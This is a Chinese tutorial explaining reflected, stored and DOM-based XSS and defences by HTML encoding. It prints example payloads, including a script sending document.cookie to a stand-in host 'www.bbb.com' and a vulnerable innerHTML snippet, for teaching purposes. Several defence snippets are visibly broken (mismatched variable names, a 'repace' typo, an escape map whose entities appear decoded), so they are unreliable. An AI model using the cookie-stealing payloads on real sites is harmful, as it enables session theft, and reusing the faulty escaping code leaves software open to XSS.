网络安全:如何预防 XSS 攻击
# 0.前言
与前端有关的两个网络安全问题,分别是 XSS
与 CSRF
。
正好最近在项目中看到了一个 xss.js
文件,该文件中主要包含 htmlEncode
及 htmlDecode
两个函数。其中的转义方案很巧妙,于是随手记录下来。
# 1. XSS 的定义
全称:XSS(Cross Site Scripting)
跨站脚本攻击。
攻击方式:在用户浏览器上,在渲染 DOM
树时,执行了不可预期的 JS
脚本,从而引发了安全问题。
按照攻击路径可分为如下类型:
反射型
XSS
数据走向为:
浏览器
—>后端回显
—>浏览器
,故称为反射型
。攻击特性:一次性。
存储型
XSS
数据走向为:
浏览器
—>后端
—>数据库
—>后端
—>浏览器
。攻击范围:群体攻击,危害性极大。
典型场景:任何可能插入数据库的地方,如用户注册,评论区、留言板、上传文件的文件名。
DOM
型XSS
数据走向为:
URL
—>浏览器
特点:不会经过后端,就是使用页面本地的
js
去执行一段代码。典型场景:
JSON转换
、翻译等工具区
。<script> function test() { var str = document.getElementById("text").value; document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>"; } </script> /* 翻译显示内容*/ <div id="t" ></div> /* 输入待翻译的文本 */ <input type="text" id="text" value="" /> /* 执行翻译 */ <button id="s" value="write" onclick="test()" />
1
2
3
4
5
6
7
8
9
10
11
12
# 2.攻击危害
盗取
cookie
信息如注入:
<script>window.open(“www.bbb.com?param=”+document.cookie)</script>
1影响用户体验
如:恶意跳转,以及无法关闭的弹窗
while(true){alert("无法关闭此弹窗!")}
1按键记录和钓鱼
未授权操作
- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如不适当的投票。
- 以被攻击者的身份执行一些管理操作。
# 3.如何防御 XSS
攻击
对用户输入的内容,必须进行
en-code
操作,避免出现HTML Tag
HTML
字符进行编码:利用html
特性:利用innerText
输入,再innerHTML
输出。/* 对 html 元素进行编码 */ function htmlEncode(test){ /* 当 text 是对象,且不为 null 时 */ if(typeof text=== "object" && text){ const _text = {}; for(const key in text){ _text[key] = htmlEncode(text[key]); } } /* 当 text 是字符串时 */ /* 构造一个div(可换成任何一个html元素),主要是利用 div.innerText 的属性*/ const div = document.createElement("div"); /* 先 div.innerText 设置*/ div.innerText = text; // 如:<div>123</div> return div.innerHTML; // 会自动对 <,> 等字符进行转译,如:'<div>123</div>' }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16HTML
字符进行解码:function htmlDecode(text){ if(!text) return text; if(typeof text === "object" && text){ for(const key in text){ text[key] = htmlDecode(text[key]); } }else if(typeof text === "string"){ // (底层实现)方案一:将编码文本转译为 `HTML Tag` // text = text // .replace(/"/g,'""') // 双引号 // .replace(/´/g,"''") // 左单引号 // .replace(//g, "''") // 右单引号 // .replace(/</g, "`") // 反引号 // .replace(/</g, "<") // 左尖括号 // .replace(/>/g, ">") // 右尖括号 // .replace(/·/g,".") // 点 // .replace(/&/g, "&") // // .replace(/¡/g, "?") // 问号 // .replace(/{l;
&xa;/g,"{") // 左括号 // .replace(/
&x7d;/g,"}") // 右括号 // .replace(/:/g,":") // 冒号 // .replace(/[/g, "[") // 左方括号 // .replace(/]/g, "]") // 右方括号 // .replace(/\\\\\/g, "\\"); // 反斜杠 // text = decodeURIComponent(xss.escapeHtmlEntities(text)); const div = document.createElement("div"); text = text.replace(/</g,"<").replace(/>/g,">"); div.innerHTML = text; text = div.innerText.repace(/</g, "<").replace(/>/g,">"); return text; } }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32写法:
const ESCAPED_CHARS = { 38: '&', 62: '>', 60: '<', 34: '"', 39: ''', } const UNSAFE_CHARS_REGEX = /[&><"''"]/g; export function escape(str){ return ('' + str).replace(UNSAFE_CHARS_REGEX, match => ESCAPED_CHARS[match.charCodeAt(0)]) }
1
2
3
4
5
6
7
8
9
10
11
12
13如果盗取的
cookie
信息,可以做一层cookie
防盗,避免直接在cookie
中泄露用户隐私,例如email
、密码等;通过使cookie
和系统IP
绑定来降低cookie
泄露后的危险。控制请求头:
对用户向服务器提交的信息进行检查,设置预期提交格式。
在请求时,编写一个
header()
,用于控制json
数据的头部,如header("Content-type:application/json"))
尽量采用
POST
而非GET
作为请求方法。主要为了避免反射型
XSS
攻击,有情况是网页的内容就是来源于URL
,如若此时设计一个超链接地址:http://www.xxx.com?content=<script>window.open(“www.bbb.com?param=”+document.cookie)</script>
。当加载页面时,content
的内容会由后端触发,用户的cookie
会被发送给bbb
网站。
# 4.扩展:什么是 HTML
实体?
详细内容,请参见参考博文2。
在 HTML
中<
,>
,&
等有特殊含义(<
,>
,用于链接签,&
用于转义),不能直接使用。
因此在HTML
中标识一些特殊字符时,可以使用转义字符串 (Escape Sequence
),或称为字符实体(Character Entity
),有以下原因:
- 在
HTML
中使用。 - 有些字符在
ASCII
字符集中没有定义,需要使用转义字符串标识。
转义字符串有两种标识方式:
&
+#
+ 实体(Entity
) 编号 +;
,举例:<
会被转义为<
&
+#
+ 实体(Entity
) 名称 +;
,举例:<
会被转义为<
实用网址:http://tool.c7sky.com/htmlescape/
# 5.扩展:innerText
与 innerHTML
的区别?
在前文中,先 innerText
再 innerHTML
进行 HTML
文本的编码操作,通过先 innerHTML
再 innerText
进行 HTML
文本的解码操作。接下来分析下这个行为:
编码:
div.innerText = "<div>123</div>"
告诉浏览器,此部分内容为文本内容。 浏览器器为了将<div>123</div>
渲染在页面中,就必须对其中的特殊字符(<
|>
) 进行转义。通过
div.innerHTML
就可以将转义后的文本取出,如:<div>123</div>
解码:
当调用
div.innerHTML
时,- 当传入的是带
HTML
标签的文本时<span>123<span>
,则在页面只会渲染123
。 - 而但当传入的内容本身就是编码后的字符时
<div>123</div>
,则会渲染<div>123</div>
- 当传入的是带
此时调用
div.innerText
则可以获取此部分内容。